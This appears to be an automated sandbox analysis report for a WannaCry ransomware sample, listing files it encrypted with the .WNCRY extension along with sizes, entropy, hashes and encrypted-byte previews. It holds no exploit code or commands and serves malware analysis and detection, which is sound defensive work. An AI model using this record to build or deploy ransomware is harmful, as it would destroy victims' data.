                                      Preview:WANACRY!....y.~(..y....~.K./.s..kc..[..>tMT.t....p.2..C..f./..T..C..*6.......LR..+..).....(.4..#.B..F^...4Swb..&.....k..1.(...;.q.. ..X.TP...w.:..o.4..A.f85.!.D.Z.,1.~..)...4t|l.....S..../..)Y.+.@...Oo.G.~...S.4...Z.....^...M....o.Q0..X.451.!._."f..d.DJ.p....t.......JR......K..z.x.n...}.....>........P.p........i..L9.....'g5;oN.6~[....d..&...)[.....H..vZ.UG.;`.y.....)ZwRC..8.Ov.....W.,....#..r.3..mp..Q+-.....h..vJ.R9L..u... ..^.... 2S..+p....y5.Z..!...u..9...n.d....ZI...a....i]IA}P;;.g..A..}&...hb`......Hc/UL1y:R_.&.4........./...J.zq.SRL".+H;....^:...a).*...G.Eu)~..Q.<.......u...c..y....:.sa.f..a...i|v..*..).V........qW.V.9.K.D.k.l@^c........Z.../..uRE........U4l....`.-..Y$.....7@P..k..a.1>eL.........5.K..-.!....O..#0.....$1N...&R.......\...@.`]E.h..m.......j....*.e.g..y....d.G.....o"...m.]..6.t.h..R.8q..X.~...-..(d.%2.`V1y...o.J...IG.....ryp.T.....+..3@z.n.fLt..d._..4.r.oX...+nW.v.B.F.%~>..[%..O..Z..b....?d.4!.eu......Y.(..o..@....zn..

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):47576
                                      Entropy (8bit):7.995989142030241
                                      Encrypted:true
                                      SSDEEP:768:YHT1Ienc4rGiGjzzPuXZSXdG6ahpELCIGukuPHQzhZWEzWewYgbZ4DcWK:u1Iec4CHjzzmXMNG6a0LCI/MWvvH
                                      MD5:7C5713FA1F58881E3DBC13908D4FBCC2
                                      SHA1:AD4A3761076EF5E253ED06F0D1203D541259F175
                                      SHA-256:C3D25682C6275EEA400EFB9E0B8C0B20DE7618AFF381B3C28793690A01B7CE60
                                      SHA-512:C3504DA14A8E53372BCA1828372EF9EC657370AD863407E738F91DFA05FCDC27B7EF22F7B00846641F625B5AB1342FC0170E61CE2F207CD0476F27F2159584FA
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....w4..o....E.+.>}......`.........f6]..\p.........."o...t............6:..U.>.=9...j........|..rb....R.5....j.S.8..Lc^.'.Z..owo..m!p;....ms.~m:.CJ.....8..}.*1Q.V.dt...P....v7.2.....e...o.tH..(Ft[.rn6Q4.....5,p3.+.wR../...gQ..T.........&..10.r...............IC...)....;b...g....|V.q..xn..)L2...9UD.b...g^/..e...?9...........22..c..p8....n...?F....o.n..!....KD.H.N..j=A...q.wvy..a.9......)~D.c.=r.e..H ..J..^:.Qy.v.M.qL.L|.:.Xj+..+.%4.....LJ8..s.Z...g;w.<...b@.Xp.....!.I.6..7..8...+..>$K3.........)eE..`..w.=9..jQ 3....G.u....7...~F. ..6.#4"........C...b...o.8.0/1B8...0...P.../.`.E..tJ.8N..H......B.s..-.Z...T.).h.d...m.aR0.l0<).:..%...&R.T3.6h..j.Ok..X...........og..Aq....mBvr@m.7...#..Z...{.;o<.t...e...V..l.dB..sS.<.!7.."..Sa]g..^..Y.n..).X..>$.......;.sRs"....W......W....7..&.....P......M.\.X..ua..%..m-..B~}T.>y.G".6.... .vF).k..p..o..m...0.?........i7}+O......n.....>....B.J.&.t.!.........i.....Y.......U...~.jKf$..z.7rV.v'. .7..

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\CULUOHOPZT.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.847073391625298
                                      Encrypted:false
                                      SSDEEP:24:bkjdM9vi9jsaJYX5h3KIcbHAjGZBHZhOmRRIfFDZvPR7jZC9wgS/USwuz2wn8ft:bkjdxa17KHH6GXbn8jNgOpQt
                                      MD5:80EFE831124E757A8E53CAC42654BA90
                                      SHA1:25CFF30A67D83594D26D7F4B1F35DD9560B7AD9B
                                      SHA-256:43CECFA38F5E17EF456852E203B502DBFF8AD8CA54E6BA9D62C7755424150EAC
                                      SHA-512:1504F1150FC9DE17BBF55CB819B71438D1DA4FEB3F858B810C993B38F2756576359E436812E00E9572F6CECE1802C1796F47054B1466ED4E8D6221E77D7CB144
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....S"(....LG0...\...\Y..t.dn.ze...e..2.bzX...:.U.5v.d............x........5.I3KCp%]...]..U..@..}V.du...<iR#+....N.....<`....`?.q.~....N..e.78........*...J.I.....<.^.Z.v...O.8.....t8...B..c..}.....HL$.:..%.A+..C.\...."vz.....WZ.>.......w.....].j...............lt.....,..3...U%./(...L..@Im...4...Kn(B..aK..23.T..eU.zR..Y......8..+.~.g...(L3...n>`{?.+..oo..Z.{.j..}r...U..$......6..0..f...'.4..M......X..}t......7..p.s*...."J.,...3._..A...P;n..Ou..z..K..8...._..@.T.I.r..7U..]V..r......O..t.d.N.!?X....l)2..$..xCTp.13...q....5........Q..Q_....~..r.lRi.]%.=...... q.sU$.......*X...p.n..P.z<eg...t.Rj...w..=_....j.c.vQ,.y..)~d.a.>"_..?Y.N.....Z.)..`..2...6D..........cFD.........L'..........9....V...|.....b.....Z.....:R.:..Q...N.qI:v$.H.K@.~N.~}...4B..v....t..u.H.E...e.<..'M...B....T.r......:.v.........i.oGo...c.......z..p..N...s.....-..F..j.<....)u..a.%.:..`yV,.al[.C;.......hg......g..yo.M.l.....2.0.Zr........1..Y...n.KG...6l.g..I.

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\CURQNKVOIX.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.855754443553243
                                      Encrypted:false
                                      SSDEEP:24:bk0iFKRT4dHQGEbBjYu4Lz63QEkYwPY7SNKbZAl3Uk1pRX/gDwy8ThCVlMH9Jw9s:bk00Kte+bv4KwPWSNm2JnDYBQCVlMH9r
                                      MD5:267A71B27F84FC21069E763CFE9FFA30
                                      SHA1:1AF6773E0A3E64AC33D0E28B06D65793AF815E2E
                                      SHA-256:1F04EFDA1C536410EABE14B4CC04849D5FF8B255E704012B59E67E253D7F1CEC
                                      SHA-512:396ED5C357067019986316CDB529334EA79ED3166F70C5E1C022C6DA3235721A2041E3D5D7208078C95EE416DE876BE75FB62C27DEC9B3DBA6B7936FBD5B5C01
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....y..l......%t.L.yVb...9Kk.BGf.3.,..b.....:..9..m#........b.1MJ.....D.6.,..].a..F.a.[...29.........F.....*J...`.`.eg........w...n.}B......J!....N4B.:..e4.<A..Z&.xC...jl.w#.\hn....=..L...N.Z....P...0.9.h.i~%..xTU#..i.z9x......G%.....~..UL/..^^............KC.G=.v@0A.E.2....v@D..K.i..?F..\...jG.@...`.dp.W.'...-.......s6H.'{.T....HnaW|....\5."j..5.>e...j.C..k.8u.........pI..M0y/.P....4...&.}i,....}.G....).ng.)..."...M...#_K..<&.......G3;tM...`a9{..p......T._.....?.......qc&.7.\..*...s.9.....h.D......y...m......sXUN5..P.U!".O|PQ..]....[@....x.?.......Q.."....1$.rX.(*@R}.8Q...G.1BF,6$..X8~....j....z....d1@....F..L>.U........(.'..u..#. \.S<t...7.!H.hl.T.7...z.........H..#..OAq%...A"...S.....|E....5..[....5.I..Y.-.......MI|..[[.....?t.<..O&...T{...%.+.....n..{...p.'.P..,.Z%.`@.EG.........w...R...z.-.$D1 .G]...^ZQF.Zn.h...i4.X....p."..v.T.i.zogt...&0..g.(.!7..j...D.`h.mw..u3..\.O..Y3.(w...9.....Q.@...78.7...?..0..4.xzsZr..0Znj\.L....v

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\DQOFHVHTMG.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.845530289011977
                                      Encrypted:false
                                      SSDEEP:24:bkCJSv5sD0yMKZ+9qN5jyNEvoskELtpDzqWR+mcoBsWTAvpLQ4yOl/qVZygWv:bkCIhS9MKZ+kjBvoFElcwsWGhyKiryZv
                                      MD5:16D6764D50FAB69698CC09B89C3215C0
                                      SHA1:65435CD43583962E6C1C32981B0CEC737C93BF65
                                      SHA-256:2E2F9F4357751CA904BB6D9554695F0567382C251316542ADA695D5DCCAB59CD
                                      SHA-512:EEAC7F5619D2E58603699D48FB2374174526FDB682F2F3D99D556D796069BF5F6830C6A18659FE11F128371526EFC3CD7B3AB0ECA40015C31E5C62AC6A168E72
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....Xd........O..+.U6.r.E...se._.>..e....a....P...d.1.&...2..YH...7.......}B....Z.'....D.'...;..r$.[...-.....,p.Cz{..K.."0M.?.D.k....|.=.]....5j9r.....|...)Z\O..%UZ..z.mR!?..........w,,.).T........_|....|..d....G..0`.../...q;XL.>.....dQ....8....O............P`.^.pDp{[....;]n..t.<.J....~\,..I..3....(..Y.t.`.5..t......k.<..........a.L..Ms./y.....X....mB.z9...i.....?.u&].]...(6...3=Z.UU.U..D:!..55._=...'+g.....R.V.Z.].....\.<.|Q.L.J....@nF..=.\....d(.v..w2V.x...J..a.N.......=."....D@%1d...?s..n}.T}.~..9.........u..T....j.i.".....P.......].,9|;....%.....++......jO@..sv..8..x...2.8F..k.`...n......;L..{.._x.x.xCj..P....A..VA`r...".x.9.KJ..N.q..M..8...".BcG)#?Lb...R.zKCxLq.BA.5.J.HU)...0.....o..(...f.N....]q.'.\..s&K...A..sH.... .u..w.c[.<.gt..u{$Gm...q.*.}.<3..=p.....NrK....<..........\..}..i.)..du=1v(..'.pB.z..1...h+..;..3.N.9l...IW.......'"Z@.\.A.W....;..~sy8...hE.PW.Ac...+...h....Vf.j.;*.\<...).....%..5......Y..B..9.c..1.

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\DQOFHVHTMG.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.825559261520953
                                      Encrypted:false
                                      SSDEEP:24:bkAzhNKRmkEKomQ/tIu6VDQmSE1C1h8rsDnL+uhwEo84u5idB2XLs:bkAzhNKRmkpBQ+H0uCz8I7LFiBMidBX
                                      MD5:D97B59249A795AD5D05119FA04FF8F22
                                      SHA1:219A50DA4C8A4AFF8CAD1D487C74A9513435EAC8
                                      SHA-256:322857EC72B266A93A6F090AD9985E426FB53E4A04989C22E44D70F338DC1CAF
                                      SHA-512:6E1E371A0CCF65C41D340231F4E05F7A38AD9943B4638C6CE13AA323B12736CD0F8426FD1F0A142582914A39C2E0F60C5C5305B749F7CDEF7C4BC1E803ECAD5D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....yjv..C.o.A...}}.;{...p..o...t2F.`.d.....f.n.{D.D.....@...;s..i..k.......j../.,.}...+......{.....<...eQ.... 2.g.*0Z..C .<{...|.1...Yn.J....0...c.b_0.v..Oi........o.}...`.d........Ay2...b.0.|.......%.....rg..}.f.\.....{..K...C......h.O@P."....JW............."b.. .......wF.|..[K7.ZPE....*..w......r.gb.!].rXY..[PqA%..(.yl.m..J.~-c.?...............qe...s`.[.w..".N+.Q[.k%/0.1D$.M........6...-....p."..8Y..m.Si.J....h......\C.s.c....U....$.......3...'o.Q(..Jv..h......,....I...h...."!8....p......r..`]..q..o...$...}..-......d\]C..ef....p.=R...j.?-..........(&1...O$...7.v...0...!" ...&..u.E..,.2.[I.p..I.....I.V..G...LN...A/8.X.....:.p7..Z}.!G.1..I.D$..O..r"...Mn..d...gO.?.......G...qhJ.L...;\..e:..{Wf.........S.4...g...r..F.......T....lf9..n..Z...A.p..j&A2..D...ta).>...tE.K...v........z..."..]...3...y.e...."".F...{M....J...%...C.-0vz...2P..n.9I...*..jo.s.Cx..l..i../...P%...T.d.|m..(....|w...\....k.ws.....y.8..8..8.v..K.......f.

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\DUUDTUBZFW.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.852533599690517
                                      Encrypted:false
                                      SSDEEP:24:bkVR+lmOtmGsGYq873GobXwDzaFg3/nYbJwr/DjjuQT4cXJ5bc16ptWRX/z:bkL+lmumVftcDOFg3PYb6jjuQTpIYpcN
                                      MD5:07F3D2D05233B8853625DEC9D3066DF5
                                      SHA1:C34CFC7DEE5B8D6C97A99BA0E1D7B2B88FFFD24C
                                      SHA-256:6819FE93A2FB7B8C6E2159F7C3E0B1A3CF82678CD8D3867AFC43F3C8811DA635
                                      SHA-512:3C71C33AF1BF22B732F06188610E721D6C7F67196B0301995C211A99104F89AA39D5093E917BB640E3D5532A53949CAF5F093B775614E0F62FF811660F115278
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....o-..Y.d'.@%...$....e.x...)..*\!'.p.....I..7f5..+..'...Jk...|n.#...-P..h.z.9.+V..cX.HPsI...]_@].$.........|....a....5[..+-.1..P..T....,.....N>...^E...*.[..K.d..q#j.....vxl...H3.$t.=5.l.#....;|...A.paQLn..Y.m........a.........v.sG[....lZ'..............^...N.../H..:\-g.|'b........[f"EU.]t.......y4.k.V.x..k..*.:3...}...,o.....w{P..-.cF..L..O.W..H.!......d<8.~5...{M...=.....$.l.....8.k.~G.T1.j...$9.M....X..+...y.c.'a6.....J(:R..<.u......p.....A.......+.Z$~......QU..M....(L0u[...3.a2e..RG.L#.\.J.[.}{.:`..9.f.cM..1.....8.w.G.-LvM...w....j~V.t..9....|...K.,..p05.f.....nt8.[...\W...bNy......W...Y.........F..x1%.,$wbT.b".O....v.$3....A..?... .;...-/..kg..>0..@..;;)..(,..f..E_......].C..../..N......:....y ..........L...<e.4...'eB...c.(R8..E .J~.r.8T..Q.=...@f!.}.d.G...).r.e....%S..-..! D1...bq.15.y.YP..I.?.G..7L.ON...N...V....(./a.RS*..i.81.8...0~...R.{..%....y}S.....%s.....)....T..y...M^..2.7.}.D.2...............;.....\.<.;$.

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\DUUDTUBZFW.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.835281233967497
                                      Encrypted:false
                                      SSDEEP:24:bkika+MagC6pHbF/rLC917uQfESftVaRzcp9UkB/7jkU8zg1WdSkRw:bkikandpH5/vm17uQfRfPkK7jkU2+gnu
                                      MD5:B533C679F71CE90B83A19BADC00222B5
                                      SHA1:4A6B75220339BF198CF19FEDDC2E375E82FD4E85
                                      SHA-256:2000C58AA8E3C3F8DF34935EA9656429F1CFE4B4092AC72D5019B1FB81ED0254
                                      SHA-512:38E4566F9DC8F3FCDA0F46D2AC50345277F2DEC30D7AA7EDFFA6BA0AADAA0206A34D176EE9CC25B3A216E2B328AADB62525863ECE3552906AA4F2E0B2D425211
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......I.#P.....g>..g^.t.R;..rKk.u.8...3.$W.$......b.;....jt.!l4./x.{..%....`Y....!X....Y*.SG._ja..)..n......6j)4l..]U....Q..C......9.V.....0.im.r95.s..8..0.o........9B....Dt.d.....Mnv(.Z9.eG...*....qNS..P/!.H..Q.y......g....55^..5.rd...!.f=......x@s................miL.6.....er.....}[H)...*|^4..h.L[.9H.b/%...k.).fz..68..[..*.R&%..e....^..{..1d)-.1X..1gV....N.......`v2.Y.\.1N.D../.:B.$j.......'..y...F.f..W~.}.?)dA..9.f......V.q.W./5..g. ..1v._.5.c..Hk.2..$...V-.{~'..P...V.*b.>.\..._..S...V...7..Qo.A....H?B.Fv.....2!9.I...'..1L......#._N/.!o.I..K..e.iK._...$.n.9~.V!et..qHiv..}.4..(+....ar.D..`.x..+Iy.aV8..~.|.kh.f.J.....}.HS....5..Bg.]..o..T&'7/......?....{.......VWT..vQ..:..(&;..QuF.lF..gHS>M....~.F.G...R.q.6..d.4.}.o..@..P7..L..W...`..`...Rm.^......NW}...H..@._[o......m<53.M.3O..0.!..<T...m>Cj...@r.....W}"..-.]....Q...C....4.>..j......#..;2_..?.0.._[t.yX....4'X..l..kM84 (..'Q...........QA..L,.I.......@.*..Sa........!..Q..d9)

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\ERWQDBYZVW.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.842154137640674
                                      Encrypted:false
                                      SSDEEP:24:bkmioaoiwE12L0D35orwoqoJZWKHS1iLwPV4j/KVt5rP4/qHyUMhB:bkmLiLsLo5ofrHHSg00efyay9B
                                      MD5:62A19C28721D490AD7F60A0C35A01CF7
                                      SHA1:6B938FBFE6BE2EA768752A7DDFE0D65C799FE906
                                      SHA-256:E5D7D0B4AEFE3E70DBC89A19942C135246976E13D24603D4A9B55275CE6FBDA9
                                      SHA-512:3B1CAFAE0EE17E9B8D61D3B740B789BC6B58E7C00A291E5EA79E711651D488DD126898627401F0C54A4C4681B77994D7089CD05508582137169B6A76193CF5BC
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......I...D``.oc.s..ZS.......d.<..O4,...%.t.}^.H#\.&'2y..!.......i/#......;....m...z...|..}..<a&M_R.........q...;....h.$4.R.d..?...U1Q..Y.h..(........M...;.a...1t...{[..oB,'...........0.bXE[.r.[.ze...>z.X......../.E7I.2r..t..B.g.v.!.4..G..Q!....1...............0....h..._...J..:*."_%f/....i9h.~../.Z...;.^..>._...Mv.y .x..8.2c..1..*.{b,..P_.......9...8N....S.p..b.-.f,q%.O...~..DEx.3...j....HWxyU<x......#e..z.....&.vH.HT...Q..tD..&^pEx.}.......GH.K_~...?..`....q...Y...kY.....~7..XUa.2.=....>D....i..&;h..M..s....8.....WYD...o.Q...N.D:.G....j....Y.S...rVp..XB..|.#.^4...S.U..rQ2....\I<.!g...".2F.w..>..px.....?Q...I.cS.Y..8.LD..?2Y..}w..../.C.\..K..%f.I..*...v#Q1.)..d.U.......z..6^.n.._...K..mZ..a...>?...c........f....w.`<...S.?\~.!..l.eu.b.._;..y.....sC..Mn..jt.!.Wk.x...w..=.........0..8S.mC..........b......i.c...@.L.......!.<..WX.....p..Sh*...ip.KU..t.\.|A...t...hj.Rx.T.:.D...5.K..{Z.....o..[.v.........Twqr.0..N..#...C...|eL7..WP.p..

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\ERWQDBYZVW.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.837535074602115
                                      Encrypted:false
                                      SSDEEP:24:bkWi7+VF5pJi4AnUQEDeBqypTbI+dIQiemG8I0RP4WSfS2nWfnniJU0HXzzz8J:bkp+7cTnJEAHhdx9oI0RPv2nj3IJ
                                      MD5:011FD7A2421F18A675E0870FCC33693C
                                      SHA1:D8DC2AA972A0F4DA0D863F0E923119195ED55452
                                      SHA-256:CBE5EC5F419AE078447E55BD899D56E3632ADA0893B3272C87DB2CDE95E0B719
                                      SHA-512:80BD5DC6F24D7E68CEF9145D27B4C2FED6B25BF34E6EB06DFC732029543625DC5829EC9750B9D5F219FC6D1181D7CC59F89FC8DB98B8B27F4C2F1487F9BFA114
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....(....!..".7...@.}.F....I$y@.R.G.5.=.|.,..%}Y...N...:HQ..&...1..r%.4E^:.....y.%.....0.L...W...N.....f.*].u?...z..1}M.....8tg[.0....."...k5.WQ.&:..\....`S.vB........%...V`.x.Q[.-.U)...q..i.P......4.V..W.....R.!.Q.Z.i.......*5F.O...>.I......md[...a+..............q.7JL....IQs.}....'R..?".gT7b.f.W....deq(......J. \.P.ut..b.I.$_A.......)....2.B.=.t...:..J.~9^b/..,@...5.q..V....D..:.2B...E..(.=.y@..bu....e.R.C.V.....b...W.V'B]..[..+.`.W.R...Y.D.....`G?Z.H..f-+p.......>...|.T...'X.Vd....l....%.w<d.`.0c7s...O........e......F".d$...7@q..B..'.@$..._~.|0...E9ls6o....33.C.+uY..=....5QB.^m6..}...$..y...o1.c.8...E:../L.....u.$.L.@.....'....E.|b9.Q...(...+k.8..........w.iR../............2......`$...(F..;...]..../I.C{..;>#0.#j.d.*Z......uLi.>.H..F."_...2..`n......B7..y..........?..U.p...}(."0.Y.....|..1.9.k.ID5H......xr..x{.L.)y.X.~..KiC.......V..`?..9.QZRe3.....cXG..o0.....@C....$..3.y#..s........`;...z....W.?.L..E$i....?tc........F4.u..`.2-v...

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\IPKGELNTQY.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8500040101338655
                                      Encrypted:false
                                      SSDEEP:24:bkxvUT4+0gZIh6fhC+j1PmYpKC5yjrrba3B6rRMXss9gukKBONk62NbPK5:bkF0Dah4hC65l0CQj/bYB6rScs9gQMNz
                                      MD5:E0FEDCE50C4E00B9C9D9F265D990D0F2
                                      SHA1:CF3663110CAD998B17CC6B16F3B341578BB1EBB0
                                      SHA-256:1D1DA4F3AFED887C3CA47FD9AC7C4396D1BC20D0C7AC35D7C23FD5A92BEF4C2F
                                      SHA-512:0DE4E07B17DDA84A3EB6D478ADCC12231E01CF7D51B80478C19C693E98794096482BA4B84C6F58CCFDDBD68AE22C5E97D5B2E084C3AE2581025B5FEB29CEEDCC
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....._[.....&.|b.r..d......,aR9Nf...K..-_}....)...-.....M.E.fT...M..'5.H..fV..z............).;hBeUfQ.qx.=...L.tZ.j#l.E..."Xy\10Q......A........x..J..fuc.......8..{..:..pm..........6;5.Z!.l5.....4.Sx.N...&.u.5...c.....h....3QSZ.yw....d..}R.C.?.+L..............?.J<H....\Wl_._...Da..........am.}........X.......r......L.bM..1yD..C...J....T.....>.~.......W0.....e.H...W........_.. 8.a;..rA.qU3.C.HZ.....p.C.en-.....l.q..^.l....T..k@... .S..R8`J]'FVf.*.;...y,....#~..F..\3?..L/_.?.u..3FT&.X.z.G.%..yx&....i.l.]y...OT...L.g.>Z.u.....q...~n.W.f%...`WT2.J......\..[q0.|R..?.!.yw..h.N8..T._.).Yo.....{..".!.Z.M.v].Z..e.+.....h...3/8.......#.w.....,....0.."......z...x.W.k...U.<..Q.$.Z.H".U...6..>bK.A.Uh..8.....'.."Q.7.X.[O...x.N...?.^...I.E.v.-.]t..|].Q..%......F\RWj.)9F...S .{ZK..B.X...|.c....K.EP}... a..wG.}.&2....R0zK~../.M...i/..(,7...Wv....=.Q..W...P.Clt.R..i..,..j..j.]..Z..`..vJV... a........4lch..u.....7..-.....}M.$..bu...*.

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\IPKGELNTQY.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.839143686746292
                                      Encrypted:false
                                      SSDEEP:24:bkibHQcb3EiUErP6W0Ko0aZZszYE4iTw/GIUjSqpZFSgGhs0kKWIKs2EFjPp6R2p:bkEwWEiUEwKGfszYcFRSi3P+TgIKnEvN
                                      MD5:AD906C27CC43C38F53643793C7440844
                                      SHA1:1D7ACE2DC8E1F832E6B6E978F43E362927B72F39
                                      SHA-256:743D2665B0E3C622B265FFD412AF02911E17E920F6B84FF7ECFBB1F932D8FD7C
                                      SHA-512:F13B095C0399F7E419BDF03824259D7B45FD74BF771E8F7B566944D845037194CA87C8D2F173490D87A16C5C9FD46D8F25A7F1D43847158296C423589C7447B6
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....[...g...#.Kgj)O;...-...D..}..K9.T....5.)A....,...B?....52...i./..vW5.Rg.RgM.).....w...Z.....h.I..:..1....q.5&:.wz.....b.A.!e.i.M..w.....O.~?.Y.>B.q.^;i'......b.r"s...P..%d.N..a..\...7../...z.3.G.7.......es..bI..}*KJ..*.tb..rH.Q..._.2.r.)..................`.iK..W.y.9E7......Jf...r.......P.....,sM.7.".S....'.^..7_...0...8!3..jU/v.^.?..X...i.M%........m1O.I. .d....w\D..f....,3.|7.O.....`.....RZ.....{.....)i..Z.eRYd.P.....8...@..e]..C%L...<..mdVMa.@.y....E. ....w...fW...I$1.C.Y......+..b.kp..Y).h.D2/..&..=...O.&...O.Z.J.4|.c.=..AF.\.y6G ..Ec."]..-.%...K.?"\(..S...p.].....-=..e...\...............T.y.ud.1...,G!..Z....#v%m..Cp.:.!..".B1.X.....z.%.>GA...e.............G..y..!*_..t.....h..i.9.#.......!..#.f{m#..uI5_...._UF.G.*.....l..v......?O.3.6..K..!;..87g.P.T...v..-......E..],H<z.Gu...mc..+c^./u,.@..M.....N..r1`s..7LXq.>....Z..h....9.....2.i.d.oL..........Sh.w.. ..i..^.....&.u........@...&._...u....\K...<+..\.D.......t.|.).|..{Pb...b

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\KBIFTJWHNZ.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.85537973253699
                                      Encrypted:false
                                      SSDEEP:24:bkumt62KeFxYw8jnHBLNwLJWaqOUTRQGjQrnppAJLpkAtreWY3WEoVkP9TOsrTYn:bkd7KcuZjnHBLyWaqOWsk5VeWmKKFOsI
                                      MD5:68D3712821D4DC306E6CB706710FBA97
                                      SHA1:14808082417C5757BC8831F1E7344A3D1B730E9E
                                      SHA-256:347749BFDE4CC04E07DBC58E678711E581463CBA37E1B096BB959CB36136C1BF
                                      SHA-512:2DB93B9590BEF2DBE90D0032575022E6E20B5AC3F99C236F433EEACF00C45B29ADDE6C06C7942E4A09C332003A20D0CF43486266E6C93AE303B4EEEA4C3EAED9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........:..,'....QM.O...[...^.&..... ..I....k.KW.22.1....;2..T._x...A..I'...I.k.3tK@i...f..u|'o.B....v.'.]U.K.{.I....X`.....u{..R@3.aj.c.....-.=..i..TN..dw&|.k..Z..H.Pm.i.JFI5%...g.Q.....h}W..c...R..=D.._&.'..i!D.........q..E6...=.Rh.....X..n!.a..n................b..d:.g.[2_....~..5......cd.!......(.0.......G.zS{.@..<'.:..d.nMv.._r&..$E..s..-...W.C...........{Mn..D......R....P...!.xKM[y.8.@....3VD.....-...._.:..M...Q.iK5.+.S..Eb.=...g.g....$e.&E...nW.Q....Y...?.7...6t.&.u....E../.|!.a.ehN8......T...$N....C-V..|..y1.....v..(...G.....Rj....3...<[qF.o...LB.,..L...*d..w:.2.E._[k.....l.Bt;....+.1...q...=0...L.^f..Q.X..v.W....."Az...2.sU.....{R.Q,...8..e...9.....D.{7[O...'(.;;..AW[.|8{a..pI{..5;..+....v.H.3|.>.3..H.)....._.F[I<...7>.G...r.N..>......W..|"......D.....A$x.B>...w....quu.....6[E5.A5.. .......AQ...:#9Oo6.j..YI...=.e..+..(Y....t..R.D...sD..{.Zn.6.`..Y.~.Tc...)..q&..0H.1..y4.h....F.o../.?...h....l.@ .P...?..O;.../.b.8O..8.i.8S.\..tK.N.

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\MMTCVTWUGY.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.83872387474705
                                      Encrypted:false
                                      SSDEEP:24:bk5IuUESFFMcCKcfYfoeIMhP7MlnmZSQXBvB2D/Tkj38VmhoDUl+:bkat8coYfoMhTwQXBvsvY8Yio+
                                      MD5:826BC822B1C376FAF41B37A45223715E
                                      SHA1:6C3B4DD1142675FB90246E2682A177ECEFD192EB
                                      SHA-256:C82F7DAF7019E9274DD4D3E12D568A284BCB1BDA67AF836C4793F64A7E9C716F
                                      SHA-512:503B9EDA6BB858F675B01AA0ED195464E83438FCAA591632CD15B734951F30D2B1FBA75D82F05D866720A6178C39CC5A3C4FE959E03495D35BBB78E8A1DF5879
                                      Malicious:false
                                      Reputation:unknown
